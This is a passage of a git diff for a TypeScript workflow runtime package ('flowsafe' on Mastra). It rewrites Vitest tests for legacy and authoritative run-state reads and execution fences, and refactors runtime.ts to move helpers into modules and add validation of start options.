+        actual.capability.readSnapshot = async function (address) {
+          receivers.push(this);
+          const row = await native.call(this, address);
+          entered.resolve();
+          await release.promise;
+          return row;
+        };
+      } else {
+        const native = actual.workflows.getWorkflowRunById;
+        actual.workflows.getWorkflowRunById = async function (address) {
+          receivers.push(this);
+          const row = await native.call(this, address);
+          entered.resolve();
+          await release.promise;
+          return row;
+        };
+      }
+      const nominalRead = vi.spyOn(nominal.capability, 'readSnapshot');
+      pending = nominal.runtime
+        .authoritativeStartState('d1-workflow', 'd1-run', options)
+        .catch((error) => error);
+      const actualReadEntered = await Promise.race([
+        entered.promise.then(() => true),
+        pending.then(() => false),
+      ]);
+      expect(actualReadEntered).toBe(true);
+      Object.assign(options, { includeLegacy: false });
+      const replacement = vi
+        .fn()
+        .mockRejectedValue(new Error('replacement read must not run'));
+      if (storage === 'prefixed') actual.capability.readSnapshot = replacement;
+      else actual.workflows.getWorkflowRunById = replacement;
+      release.resolve();
+      const result = await pending;
+      expect(result).toMatchObject({
+        kind: 'legacy',
+        address: { tablePrefix: storage === 'prefixed' ? 'd1_' : null },
+        summary: { requestedBy: 'legacy-requester' },
+      });
+      expect(receivers).toEqual([
+        storage === 'prefixed' ? actual.capability : actual.workflows,
+      ]);
+      expect(nominalRead).not.toHaveBeenCalled();
+      expect(replacement).not.toHaveBeenCalled();
+    } finally {
+      release.resolve();
+      await pending;
+      nominal.close();
+      actual.close();
+    }
+  });
 
-    expect(suspensionDeadlinesOf(live).entries).toEqual([
-      {
-        step: stepId,
-        deadlineAt:
-          (live.suspendedAt?.[stepId] as number) + SUSPENSION_DEADLINE_MS,
-        suspendedAt: live.suspendedAt?.[stepId],
-        resumeCount: 0,
-      },
-    ]);
-    expect(suspensionDeadlinesOf(rehydrated as RunSummary)).toEqual(
-      suspensionDeadlinesOf(live),
-    );
+  it('does not use a cached Core run when the selected legacy-capable row is absent', async () => {
+    const f = await d1Fixture();
+    try {
+      await f.workflow.createRun({ runId: 'd1-run' });
+      await f.seed(d3LegacySnapshot('v1'));
+      f.sql
+        .prepare(
+          'DELETE FROM mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+        )
+        .run('d1-workflow', 'd1-run');
+      const before = f.workflow.runs.get('d1-run');
+      expect(before).toBeDefined();
+      const read = vi.spyOn(f.capability, 'readSnapshot');
+      await expect(
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run', {
+          includeLegacy: true,
+        }),
+      ).resolves.toBeNull();
+      expect(f.workflow.runs.get('d1-run')).toBe(before);
+      expect(read).toHaveBeenCalledOnce();
+    } finally {
+      f.close();
+    }
   });
 
-  it('refuses to answer authoritatively from Mastra in-memory fallback state', async () => {
-    // Tripwire on the marker the whole wake discipline keys on, pinned the way
-    // __workflow_meta is: against the REAL producer. Mastra answers a state
-    // read from the in-memory Run it still holds whenever the row lookup comes
-    // back empty, and stamps `isFromInMemory` on exactly that answer. A rename
-    // or a dropped stamp would put the wake back to concluding things from a
-    // read that never reached storage — deleting a live record, spending an
-    // abandonment budget, deleting a real row in recoverStartAttempt — so it
-    // fails here rather than there.
-    const { runtime, storage, workflow, start } =
-      timedGateRuntime('marker-gate');
-    const started = await start();
-    expect(started.status).toBe('suspended');
+  it('keeps raw legacy pending visible even when lifecycle projection looks terminal', async () => {
+    const f = await d1Fixture();
+    try {
+      const snapshot = d3LegacySnapshot('v1', 'pending');
+      snapshot.requestContext['flowsafe.runLifecycle'] = {
+        version: 1,
+        revision: 1,
+        terminal: {
+          status: 'cancelled',
+          transitionedAt: 1,
+          error: { code: 'CANCELLED', message: 'run was cancelled' },
+          replayPrincipals: [{ kind: 'human', id: 'owner' }],
+        },
+      };
+      await f.seed(snapshot);
+      const result = await f.runtime.authoritativeStartState(
+        'd1-workflow',
+        'd1-run',
+        { includeLegacy: true },
+      );
+      expect(result).toMatchObject({
+        kind: 'legacy',
+        snapshot: { status: 'pending' },
+        summary: { status: 'cancelled' },
+      });
+      expect(result).not.toHaveProperty('execution');
+    } finally {
+      f.close();
+    }
+  });
 
-    const restore = await blindWorkflowRow(storage);
+  it('preserves changed v1 current requester during native authorized resume without creating v2 identity', async () => {
+    const f = await d3RuntimeFixture();
     try {
-      // #then — with the row read blinded, the state Mastra hands back is the
-      // in-memory Run it still holds, carrying the marker
-      const state = (await workflow.getWorkflowRunById(
-        started.runId,
-      )) as Record<string, unknown>;
-      expect(state.isFromInMemory).toBe(true);
-      expect(state.status).toBe('pending');
-      expect(state.requestContext).toBeUndefined();
-      const fallback = (await runtime.status(
-        'marker-gate',
-        started.runId,
-      )) as RunSummary;
+      await f.runtime.start(f.workflow.id, {
+        ...f.options(),
+        inputData: { suspend: true },
+      });
+      const snapshot = await f.row();
+      assert(snapshot?.requestContext);
+      snapshot.requestContext['flowsafe.runProvenance'] = {
+        version: 1,
+        attemptToken: 'legacy-H',
+        requestedBy: 'initial-owner',
+        requestedByKind: 'human',
+        resumeCounts: [],
+      };
+      await f.workflows.persistWorkflowSnapshot({
+        workflowName: f.workflow.id,
+        runId: 'd3-run',
+        snapshot,
+      });
+      await expect(
+        f.runtime.resume(f.workflow.id, 'd3-run', {
+          resumeData: { go: true },
+          requestedBy: 'reviewer',
+          requestedByKind: 'service',
+        }),
+      ).resolves.toMatchObject({ status: 'success', requestedBy: 'reviewer' });
+      const result = await f.runtime.authoritativeStartState(
+        f.workflow.id,
+        'd3-run',
+        { includeLegacy: true },
+      );
+      expect(result).toMatchObject({
+        kind: 'legacy',
+        provenanceVersion: 1,
+        summary: {
+          status: 'success',
+          requestedBy: 'reviewer',
+          requestedByKind: 'service',
+        },
+      });
       expect(
-        (fallback as unknown as { isFromInMemory?: boolean }).isFromInMemory,
-      ).toBeUndefined();
-
-      // #then — the authoritative read refuses it, naming both ids and NO
-      // cause: the run object mints this same class for any read that did not
-      // succeed, so a message claiming the in-memory fallback would name the
-      // wrong one during a storage incident.
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'],
+      ).toMatchObject({
+        version: 1,
+        startToken: 'legacy-H',
+        resumeCounts: [['gate', 1]],
+      });
+      expect(result).not.toHaveProperty('execution');
+      expect(f.effects).toHaveBeenCalledTimes(2);
       await expect(
-        runtime.authoritativeStatus('marker-gate', started.runId),
+        f.runtime.authoritativeStartState(f.workflow.id, 'd3-run'),
       ).rejects.toBeInstanceOf(RunStateUnreadableError);
-      await expect(
-        runtime.authoritativeStatus('marker-gate', started.runId),
-      ).rejects.toThrow(
-        new RegExp(
-          `^run '${started.runId}' of workflow 'marker-gate' state is not readable$`,
-        ),
-      );
-
-      // #then — while status() still serves the fabricated summary, which is
-      // 'pending' for a run that has never been resumed and so passes the
-      // self-consistency backstop: the marker is the only thing that catches
-      // this shape.
-      expect(fallback.status).toBe('pending');
-      expect(fallback.suspended).toBeUndefined();
-      expect(isReadableRunSummary(fallback)).toBe(true);
     } finally {
-      restore();
+      f.close();
     }
-
-    // #then — and the run was suspended the whole time
-    const healed = await runtime.status('marker-gate', started.runId);
-    expect(healed?.status).toBe('suspended');
-    expect(healed?.suspended).toEqual([['gate']]);
   });
 
-  it('throws the class a consumer catches through the package barrel', async () => {
-    // #given — a host catching this failure imports it from the barrel, never
-    // from the module that throws it. Anything that turned the re-export into
-    // a second declaration would leave every consumer `instanceof` false while
-    // both files still compiled.
-    const { runtime, storage, start } = timedGateRuntime('barrel-gate');
-    const started = await start();
-    const restore = await blindWorkflowRow(storage);
+  it('preserves strict ReturnType and Parameters while typing explicit legacy reads', () => {
+    expectTypeOf<
+      ReturnType<RunnerRuntime['authoritativeStartState']>
+    >().toEqualTypeOf<Promise<AuthoritativeStartState | null>>();
+    expectTypeOf<
+      Parameters<RunnerRuntime['authoritativeStartState']>
+    >().toEqualTypeOf<[string, string]>();
+    const readLegacy = (runtime: RunnerRuntime) =>
+      runtime.authoritativeStartState('workflow', 'run', {
+        includeLegacy: true,
+      });
+    expectTypeOf(readLegacy).returns.toEqualTypeOf<
+      Promise<AuthoritativeStartState | LegacyRunState | null>
+    >();
+    expectTypeOf<
+      Extract<keyof LegacyRunState, 'execution' | 'startToken' | 'attemptToken'>
+    >().toEqualTypeOf<never>();
+  });
+});
 
-    // #when / #then
+describe('FS8 D3 fix R1 legacy Runtime observations', () => {
+  it.each([
+    'v1',
+    'absent',
+  ] as const)('does not admit %s to private recovery or proof through the opt-in capability', async (version) => {
+    const f = await d1Fixture('default', 'fence');
     try {
+      await f.seed(d3LegacySnapshot(version));
+      const fence = f.runtime.executionFence;
+      assert(fence);
+      await fence.seed('open');
+      await fence.transition({
+        expected: 'open',
+        next: 'proof-only',
+        proofKey: 'proof-key',
+      });
+      const before = await f.workflows.loadWorkflowSnapshot({
+        workflowName: 'd1-workflow',
+        runId: 'd1-run',
+      });
+      const terminalize = vi.spyOn(f.capability, 'terminalizeInitialAdmission');
+      const settle = vi.spyOn(f.runtime, 'settleStartExecution');
       await expect(
-        runtime.authoritativeStatus('barrel-gate', started.runId),
-      ).rejects.toBeInstanceOf(BarrelRunStateUnreadableError);
+        f.runtime.authoritativeStartState('d1-workflow', 'd1-run', {
+          includeLegacy: true,
+        }),
+      ).resolves.toMatchObject({ kind: 'legacy' });
+      const recovery = await f.runtime
+        .recoverStartAttempt(
+          {
+            tablePrefix: '',
+            workflowId: 'd1-workflow',
+            runId: 'd1-run',
+            startToken: 'legacy-H',
+          },
+          { attemptToken: 'legacy-H', isOwnerQuiescent: () => true },
+        )
+        .catch((error) => error);
+      const proof = await f.runtime
+        .assertExistingRunAllowed('d1-workflow', 'd1-run')
+        .catch((error) => error);
+      expect(
+        await f.workflows.loadWorkflowSnapshot({
+          workflowName: 'd1-workflow',
+          runId: 'd1-run',
+        }),
+      ).toEqual(before);
+      expect(terminalize).not.toHaveBeenCalled();
+      expect(settle).not.toHaveBeenCalled();
+      expect(recovery).toBeInstanceOf(RunStateUnreadableError);
+      expect(proof).toBeInstanceOf(RunStateUnreadableError);
     } finally {
-      restore();
+      f.close();
+    }
+  });
+
+  it('refuses a legacy-shaped initial witness without losing the actual modern pending row', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      assert(f.capability);
+      const native = f.capability.withInitialAdmission;
+      f.capability.withInitialAdmission = async (input, create) => {
+        const result = await native(input, create);
+        const snapshot = JSON.parse(result.witness.row.snapshot);
+        snapshot.requestContext['flowsafe.runProvenance'].version = 1;
+        return {
+          ...result,
+          witness: {
+            ...result.witness,
+            row: { ...result.witness.row, snapshot: JSON.stringify(snapshot) },
+          },
+        };
+      };
+      const result = await f.runtime
+        .start(f.workflow.id, f.options())
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('pending');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].version,
+      ).toBe(2);
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(RunStateUnreadableError);
+    } finally {
+      f.close();
+    }
+  });
+
+  it('refuses a legacy-shaped B2 returned row before modern reservation settlement', async () => {
+    const f = await d3RuntimeFixture();
+    try {
+      const { execution, claim } = await d3PreparedPending(f);
+      assert(f.capability);
+      const native = f.capability.terminalizeInitialAdmission;
+      f.capability.terminalizeInitialAdmission = async (input) => {
+        const result = await native(input);
+        assert(result.kind !== 'conflict');
+        const snapshot = JSON.parse(result.row.snapshot);
+        snapshot.requestContext['flowsafe.runProvenance'].version = 1;
+        return {
+          ...result,
+          row: { ...result.row, snapshot: JSON.stringify(snapshot) },
+        };
+      };
+      const result = await f.runtime
+        .recoverStartAttempt(execution, {
+          attemptToken: 'H',
+          isOwnerQuiescent: () => true,
+          startReservation: claim,
+        })
+        .catch((error) => error);
+      expect((await f.row())?.status).toBe('failed');
+      expect(
+        (await f.row())?.requestContext?.['flowsafe.runProvenance'].version,
+      ).toBe(2);
+      expect((await f.reservations.readForAdmission(claim.key))?.state).toBe(
+        'started',
+      );
+      expect(f.effects).not.toHaveBeenCalled();
+      expect(result).toBeInstanceOf(ExecutionFenceUnreadableError);
+    } finally {
+      f.close();
     }
   });
 });
diff --git a/packages/flowsafe/src/do-runner/runtime.ts b/packages/flowsafe/src/do-runner/runtime.ts
index 2e468a8e..5cd3a98a 100644
--- a/packages/flowsafe/src/do-runner/runtime.ts
+++ b/packages/flowsafe/src/do-runner/runtime.ts
@@ -25,14 +25,15 @@ import { Mastra } from '@mastra/core/mastra';
 import { RequestContext } from '@mastra/core/request-context';
 import type {
   MastraCompositeStore,
-  UpdateWorkflowStateOptions,
+  WorkflowsStorage,
 } from '@mastra/core/storage';
-import type {
-  AnyWorkflow,
-  WorkflowRunState,
-  WorkflowRunStatus,
-  WorkflowState,
-  WorkflowStateField,
+import {
+  type AnyWorkflow,
+  cleanStepResult,
+  type WorkflowRunState,
+  type WorkflowRunStatus,
+  type WorkflowState,
+  type WorkflowStateField,
 } from '@mastra/core/workflows';
 import {
   type ExecutionPrincipalKind,
@@ -46,6 +47,18 @@ import {
   BREAKWATER_ISOLATION_SCOPE_KEY,
   BREAKWATER_WORKFLOW_SCOPE_KEY,
 } from './breakwater-keys.js';
+import {
+  assertMutationEpoch,
+  type D1RunExecutionIdentity,
+  ExecutionFenceUnreadableError,
+  normalizeD1RunExecutionIdentity,
+  normalizeMutationEpoch,
+  normalizeStartIdentity,
+  type ProofEntryExpectation,
+  type RunExecutionIdentity,
+  RunStartPendingError,
+  type StartIdentity,
+} from './execution-admission.js';
 import {
   isReservedExecutionContextKey,
   RUN_PROVENANCE_CONTEXT_KEY,
@@ -57,6 +70,11 @@ import {
   ExecutionFencedError,
   type ExecutionFenceStore,
 } from './execution-fence.js';
+import {
+  FENCED_WORKFLOW_STORAGE,
+  type FencedWorkflowAdmissionCapability,
+} from './fenced-workflow-capability.js';
+import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js';
 import { mastraRegistryEntries } from './mastra-registry.js';
 import { isPathSafeId } from './path-safe-id.js';
 import type { HostPubSub } from './pubsub.js';
@@ -66,14 +84,48 @@ import {
   canonicalScheduleDispatch,
   hasDisputedSettlement,
   lifecycleFromRequestContext,
+  nextLifecycleRevision,
+  projectTerminalLifecycle,
   RUN_LIFECYCLE_CONTEXT_KEY,
   type RunEconomicOperation,
+  RunLifecycleBlockedError,
   type RunLifecyclePrincipal,
   type RunLifecycleState,
   type RunScheduleDispatch,
+  type RunTerminalCleanup,
   type RunTerminalErrorEnvelope,
   type RunTerminalStatus,
+  terminalCleanupFor,
+} from './run-lifecycle.js';
+import {
+  decodeProgressRunProvenance,
+  decodeResumeCounts,
+  nextResumeCount,
+  type ProgressRunProvenance,
+  runExecutionIdentityFor,
+} from './run-provenance.js';
+import {
+  type CoreRunResult,
+  errorText,
+  isRunStatus,
+  isTerminalRunStatus,
+  type RunStatus,
+  terminalStateFields,
+  terminalStateUpdate,
+} from './run-terminal-state.js';
+import {
+  captureReservation,
+  type StartReservationReading,
+} from './start-reservation-contract.js';
+import { validateTablePrefix } from './table-prefix.js';
+import type { RawWorkflowSnapshot } from './workflow-snapshot-row.js';
+
+export {
+  RunLifecycleBlockedError,
+  type RunLifecycleBlockedReason,
 } from './run-lifecycle.js';
+export type { RunStatus } from './run-terminal-state.js';
+
 import type { StartIdempotencyStore } from './start-idempotency.js';
 
 export class UnknownWorkflowError extends Error {
@@ -138,21 +190,6 @@ export class RunTerminalConflictError extends Error {
   }
 }
 
-export interface RunLifecycleBlockedReason {
-  code: 'DISPUTED_SETTLEMENT';
-  message: string;
-}
-
-export class RunLifecycleBlockedError extends Error {
-  readonly reason: RunLifecycleBlockedReason;
-
-  constructor(reason: RunLifecycleBlockedReason) {
-    super(reason.message);
-    this.name = 'RunLifecycleBlockedError';
-    this.reason = reason;
-  }
-}
-
 /** A request the caller can fix: bad input/resume data or step selection. */
 export class InvalidRunRequestError extends Error {
   constructor(message: string) {
@@ -184,13 +221,6 @@ function asClientError(error: unknown): InvalidRunRequestError | undefined {
     : undefined;
 }
 
-export type RunStatus =
-  | WorkflowRunStatus
-  | 'waiting_callback'
-  | 'waiting_signal'
-  | 'retry_wait'
-  | RunTerminalStatus;
-
 /** JSON-safe projection of a workflow run outcome for HTTP transport. */
 export interface RunSummary {
   runId: string;
@@ -251,7 +281,40 @@ const RUN_STATE_FIELDS: WorkflowStateField[] = [
   'requestContext',
 ];
 
-interface RunProvenance {
+/** @internal One physical observation; this does not certify a logical root. */
+export type AuthoritativeStartState = {
+  readonly provenance: ProgressRunProvenance;
+  readonly snapshot: WorkflowRunState;
+} & (
+  | {
+      readonly storage: 'd1';
+      readonly execution: D1RunExecutionIdentity;
+      readonly raw: RawWorkflowSnapshot;
+    }
+  | {
+      readonly storage: 'unfenced';
+      readonly execution: RunExecutionIdentity & { readonly tablePrefix: null };
+      readonly raw?: never;
+    }
+) &
+  (
+    | { readonly kind: 'initial'; readonly summary?: never }
+    | { readonly kind: 'result'; readonly summary: RunSummary }
+  );
+
+/** @internal Ordinary compatibility data, never execution-generation authority. */
+export interface LegacyRunState {
+  readonly kind: 'legacy';
+  readonly provenanceVersion: 1 | undefined;
+  readonly address: Pick<
+    RunExecutionIdentity,
+    'tablePrefix' | 'workflowId' | 'runId'
+  >;
+  readonly snapshot: WorkflowRunState;
+  readonly summary: RunSummary;
+}
+
+interface LegacyRunProvenance {
   version: 1;
   /** Absent on unattributed runs; may be unpaired only on legacy snapshots. */
   requestedBy?: string;
@@ -264,6 +327,8 @@ interface RunProvenance {
   resumeCounts: Array<[string, number]>;
 }
 
+type RunProvenance = LegacyRunProvenance | ProgressRunProvenance;
+
 function runProvenance(
   state: Pick<WorkflowState | WorkflowRunState, 'requestContext'>,
 ): RunProvenance | undefined {
@@ -272,7 +337,9 @@ function runProvenance(
   if (value === null || typeof value !== 'object') {
     throw new Error('stored run provenance is malformed');
   }
-  const candidate = value as Partial<RunProvenance>;
+  if ((value as { version?: unknown }).version === 2)
+    return decodeProgressRunProvenance(value);
+  const candidate = value as Partial<LegacyRunProvenance>;
   if (
     candidate.version !== 1 ||
     (candidate.requestedBy !== undefined &&
@@ -288,19 +355,7 @@ function runProvenance(
   ) {
     throw new Error('stored run provenance is malformed');
   }
-  const counts: Array<[string, number]> = [];
-  for (const entry of candidate.resumeCounts) {
-    if (
-      !Array.isArray(entry) ||
-      entry.length !== 2 ||
-      typeof entry[0] !== 'string' ||
-      !Number.isSafeInteger(entry[1]) ||
-      entry[1] < 1
-    ) {
-      throw new Error('stored run provenance is malformed');
-    }
-    counts.push([entry[0], entry[1]]);
-  }
+  const counts = decodeResumeCounts(candidate.resumeCounts);
   return {
     version: 1,
     ...(candidate.requestedBy === undefined
@@ -315,110 +370,11 @@ function runProvenance(
   };
 }
 
-// Structural view of core's WorkflowResult union — only the fields the
-// summary transports. AnyWorkflow erases the generics, so narrowing happens
-// here on the status discriminant.
-type CoreRunResult =
-  | { status: 'success'; result: unknown }
-  | { status: 'failed'; error: unknown }
-  | {
-      status: 'suspended';
-      suspended: [string[], ...string[][]];
-      suspendPayload?: unknown;
-      /** Per-step state incl. suspendedAt (workflows/types, suspended arm). */
-      steps?: WorkflowState['steps'];
-    }
-  | { status: 'tripwire'; tripwire: { reason: string } }
-  | {
-      status: Exclude<
-        WorkflowRunStatus,
-        'success' | 'failed' | 'suspended' | 'tripwire'
-      >;
-    };
-
-const NONTERMINAL_RUN_STATUSES = new Set<WorkflowRunStatus>([
-  'running',
-  'suspended',
-  'waiting',
-  'pending',
-  'paused',
-]);
-
 // Registered agents may carry incompatible tool/output generics. The public
 // method preserves each concrete type; this erased form is only for handing
 // the heterogeneous registry to Mastra.
 type ErasedRuntimeAgent = Agent<string, ToolsInput, unknown>;
 
-function terminalStateUpdate(
-  result: CoreRunResult,
-): UpdateWorkflowStateOptions | undefined {
-  if (NONTERMINAL_RUN_STATUSES.has(result.status)) return undefined;
-  const common = {
-    status: result.status,
-    result: undefined,
-    error: undefined,
-    suspendedPaths: {},
-    waitingPaths: {},
-    resumeLabels: {},
-    activePaths: [],
-    activeStepsPath: {},
-  };
-  if (result.status === 'success') {
-    return {
-      ...common,
-      result: result.result as UpdateWorkflowStateOptions['result'],
-    };
-  }
-  if (result.status === 'failed') {
-    const error = result.error;
-    const name =
-      error instanceof Error
-        ? error.name
-        : error !== null &&
-            typeof error === 'object' &&
-            'name' in error &&
-            typeof (error as { name: unknown }).name === 'string'
-          ? (error as { name: string }).name
-          : 'Error';
-    const stack =
-      error instanceof Error
-        ? error.stack
-        : error !== null &&
-            typeof error === 'object' &&
-            'stack' in error &&
-            typeof (error as { stack: unknown }).stack === 'string'
-          ? (error as { stack: string }).stack
-          : undefined;
-    return {
-      ...common,
-      error: {
-        name,
-        message: errorText(error),
-        ...(stack !== undefined ? { stack } : {}),
-      },
-    };
-  }
-  return common;
-}
-
-// Failed runs carry the step's thrown error as an Error instance, a string,
-// or — once it crossed an engine/persistence boundary — a serialized
-// { name, message, stack } object; String() on the last reads
-// '[object Object]', so extract the message wherever it lives.
-function errorText(error: unknown): string {
-  if (error instanceof Error) return error.message;
-  if (typeof error === 'string') return error;
-  if (
-    error !== null &&
-    typeof error === 'object' &&
-    'message' in error &&
-    typeof (error as { message: unknown }).message === 'string'
-  ) {
-    return (error as { message: string }).message;
-  }
-  return String(error);
-}
-
 function summarize(
   runId: string,
   result: CoreRunResult,
@@ -569,9 +525,14 @@ function byStep<T>(
 // (isFromInMemory), steps are empty and timestamps are current-time; the
 // projection truthfully degrades to status-only rather than fabricating
 // detail.
+type SummaryState = Pick<
+  WorkflowState,
+  'status' | 'result' | 'error' | 'steps' | 'requestContext' | 'suspendedPaths'
+> & { createdAt: Date | string; updatedAt: Date | string };
+
 function summarizeState(
   runId: string,
-  state: WorkflowState,
+  state: SummaryState,
   counts?: ReadonlyMap<string, number>,
   requestedBy?: string,
   requestedByKind?: ExecutionPrincipalKind,
@@ -619,6 +580,34 @@ function summarizeState(
   return summary;
 }
 
+function summaryFromSelectedSnapshot(
+  runId: string,
+  snapshot: WorkflowRunState,
+  timestamps: { createdAt: string; updatedAt: string },
+  provenance: RunProvenance | undefined,
+): RunSummary {
+  const steps = Object.fromEntries(
+    Object.entries(snapshot.context ?? {})
+      .filter(([key]) => key !== 'input' && key !== '__state')
+      .map(([key, value]) => [key, cleanStepResult(value)]),
+  ) as WorkflowState['steps'];
+  return summarizeState(
+    runId,
+    {
+      status: snapshot.status,
+      result: snapshot.result,
+      error: snapshot.error,
+      requestContext: snapshot.requestContext,
+      suspendedPaths: snapshot.suspendedPaths,
+      steps,
+      ...timestamps,
+    },
+    provenance ? new Map(provenance.resumeCounts) : undefined,
+    provenance?.requestedBy,
+    provenance?.requestedByKind,
+  );
+}
+
 function summaryWithRequester(
   summary: RunSummary,
   requestedBy?: string,
@@ -657,21 +646,18 @@ export type RunLeg =
     };
 
 /**
- * Server-side requestContext source, consulted on EVERY start and resume.
- * This is the trusted-computing-base seam (security-threat-model.md, trust
- * boundary 6): the DO HTTP boundary never maps requestContext from request
- * bodies, so capability keys — e.g. breakwater's approval grants
- * ('breakwater.connectorGrants') — can only enter a run through this
- * provider. Wire it to derive values from trusted server-side state (the
- * flowsafe approval store), never from client input, model output, or tool
- * results.
+ * Server-side requestContext supplied during start and resume preparation.
+ * Trusted host starts and verified schedule targets may supply non-reserved
+ * application context through storedRequestContext. Capability values,
+ * including approval grants, derive from trusted server-side state through
+ * this provider (security-threat-model.md, trust boundary 6). Use trusted
+ * sources such as the flowsafe approval store; never derive capabilities
+ * from client input, model output, or tool results.
  *
- * Merge semantics are pinned by tests against the installed Mastra core: the context provided
- * at resume merges OVER the run's persisted context — provided keys win,
- * persisted start-time keys survive. Omitting a key therefore does not
- * revoke it; a provider that scopes a capability per leg must return the key
- * on EVERY leg (an empty value when nothing applies) so the overwrite
- * retires stale grants.
+ * Resume values overwrite matching persisted keys. Omitting a key retains
+ * its persisted value. A provider that scopes a capability per leg must
+ * return its key for each leg, using an empty grant list to revoke persisted
+ * connector grants.
  */
 export type RequestContextProvider = (
   workflowId: string,
@@ -804,14 +790,14 @@ export type StartRunOptions = {
    */
   runId: string;
   inputData?: unknown;
-  /** Initial workflow state from an infrastructure-verified schedule target. */
+  /** Schedule-target or ordinary trusted-start state. */
   initialState?: unknown;
   /**
-   * Non-reserved application context from an infrastructure-verified schedule
-   * target. Runtime-owned keys are stripped again before execution.
+   * Non-reserved context supplied by a trusted host start or a verified
+   * schedule target.
    */
   storedRequestContext?: Record<string, unknown>;
-  /** Host recovery token persisted with the first executed snapshot. */
+  /** Host correlation token for this execution leg. */
   attemptToken?: string;
   /** Relative run deadline, measured from this start. */
   deadlineMs?: number;
@@ -833,6 +819,23 @@ export type StartRunOptions = {
    * @internal
    */
   idempotencyKey?: string;
+  /** @internal Captured infrastructure authority; never request-context data. */
+  readonly startReservation?: StartReservationReading;
+  /** @internal Captured infrastructure authority; never request-context data. */
+  readonly mutationEpoch?: number;
+  /** @internal Captured infrastructure authority; never request-context data. */
+  readonly startIdentity?: StartIdentity;
+  /** @internal Captured infrastructure authority; never request-context data. */
+  readonly agentStart?: { readonly threaded: boolean };
+  /** @internal Captured infrastructure authority; never request-context data. */
+  readonly onPreparedStartIdentity?: (
+    execution: RunExecutionIdentity,
+  ) => void | Promise<void>;
+  /** @internal Captured infrastructure authority; never request-context data. */
+  readonly runOwnerGuard?: {
+    readonly owner: StartIdentity['owner'];
+    readonly reservationToken: string;
+  };
 } & OptionalRunRequester;
 
 export type ResumeRunOptions = {
@@ -860,12 +863,7 @@ export interface RunLifecycleTransitionResult {
   summary: RunSummary;
   transitioned: boolean;
   casMatched: boolean;
-  cleanup: {
-    revision: number;
-    status: RunTerminalStatus;
-    cleanupCompleted: boolean;
-    scheduleDispatch?: RunScheduleDispatch;
-  };
+  cleanup: RunTerminalCleanup;
 }
 
 const TERMINABLE_RUN_STATUSES = new Set<RunStatus>([
@@ -896,6 +894,179 @@ function relativeDeadline(
   return deadlineAt;
 }
 
+function captureStartRunOptions(source: StartRunOptions): StartRunOptions {
+  const {
+    runId,
+    inputData,
+    initialState,
+    storedRequestContext,
+    attemptToken,
+    deadlineMs,
+    economicOperations: rawOperations,
+    scheduleDispatch: rawDispatch,
+    idempotencyKey,
+    requestedBy,
+    requestedByKind,
+    mutationEpoch: rawEpoch,
+    startIdentity: rawIdentity,
+    agentStart: rawAgentStart,
+    onPreparedStartIdentity,
+    runOwnerGuard: rawGuard,
+    startReservation: rawReservation,
+  } = source;
+  if (requestedBy !== undefined && !isExecutionPrincipalId(requestedBy)) {
+    throw new InvalidRunRequestError('requestedBy is malformed');
+  }
+  if (
+    requestedByKind !== undefined &&
+    !isExecutionPrincipalKind(requestedByKind)
+  ) {
+    throw new InvalidRunRequestError('requestedByKind is malformed');
+  }
+  if ((requestedBy === undefined) !== (requestedByKind === undefined)) {
+    throw new InvalidRunRequestError(
+      'requestedBy and requestedByKind must be provided together',
+    );
+  }
+  const mutationEpoch = normalizeMutationEpoch(rawEpoch);
+  const startIdentity =
+    rawIdentity === undefined ? undefined : normalizeStartIdentity(rawIdentity);
+  const startReservation =
+    rawReservation === undefined
+      ? undefined
+      : captureReservation(rawReservation, 'started');
+  let agentStart: StartRunOptions['agentStart'];
+  if (rawAgentStart !== undefined) {
+    if (
+      rawAgentStart === null ||
+      typeof rawAgentStart !== 'object' ||
+      Array.isArray(rawAgentStart)
+    ) {
+      throw new InvalidRunRequestError('agentStart is malformed');
+    }
+    const { threaded } = rawAgentStart;
+    if (typeof threaded !== 'boolean') {
+      throw new InvalidRunRequestError('agentStart is malformed');
+    }
+    agentStart = Object.freeze({ threaded });
+  }
+  if (agentStart !== undefined && startIdentity?.target.kind !== 'agent')
+    throw new InvalidRunRequestError('agentStart has no agent target');
+  if (startIdentity?.target.kind === 'agent' && agentStart === undefined) {
+    throw new InvalidRunRequestError(
+      'agentStart is required for an agent target',
+    );
+  }
+  if (
+    startIdentity &&
+    (startIdentity.owner.id !== requestedBy ||
+      startIdentity.owner.kind !== requestedByKind)
+  ) {
+    throw new InvalidRunRequestError(
+      'startIdentity owner does not match requester',
+    );
+  }
+  if (
+    onPreparedStartIdentity !== undefined &&
+    typeof onPreparedStartIdentity !== 'function'
+  ) {
+    throw new InvalidRunRequestError('onPreparedStartIdentity is malformed');
+  }
+  let runOwnerGuard: StartRunOptions['runOwnerGuard'];
+  if (rawGuard !== undefined) {
+    if (
+      rawGuard === null ||
+      typeof rawGuard !== 'object' ||
+      Array.isArray(rawGuard)
+    ) {
+      throw new InvalidRunRequestError('runOwnerGuard is malformed');
+    }
+    const { owner: rawOwner, reservationToken } = rawGuard;
+    if (
+      rawOwner === null ||
+      typeof rawOwner !== 'object' ||
+      Array.isArray(rawOwner)
+    ) {
+      throw new InvalidRunRequestError('runOwnerGuard is malformed');
+    }
+    const { kind, id } = rawOwner;
+    if (
+      !isExecutionPrincipalKind(kind) ||
+      !isExecutionPrincipalId(id) ||
+      !isPathSafeId(reservationToken)
+    ) {
+      throw new InvalidRunRequestError('runOwnerGuard is malformed');
+    }
+    runOwnerGuard = Object.freeze({
+      owner: Object.freeze({ kind, id }),
+      reservationToken,
+    });
+  }
+  if (
+    deadlineMs !== undefined &&
+    (!Number.isSafeInteger(deadlineMs) || deadlineMs < 0)
+  ) {
+    throw new InvalidRunRequestError(
+      'deadlineMs must be a nonnegative safe integer',
+    );
+  }
+  let dispatch: RunScheduleDispatch | undefined;
+  if (rawDispatch !== undefined) {
+    if (
+      rawDispatch === null ||
+      typeof rawDispatch !== 'object' ||
+      Array.isArray(rawDispatch)
+    ) {
+      throw new Error('stored run lifecycle is malformed');
+    }
+    const { scheduleId, dispatchId } = rawDispatch;
+    dispatch = { scheduleId, dispatchId };
+  }
+  let operations: RunEconomicOperation[] | undefined;
+  if (rawOperations !== undefined) {
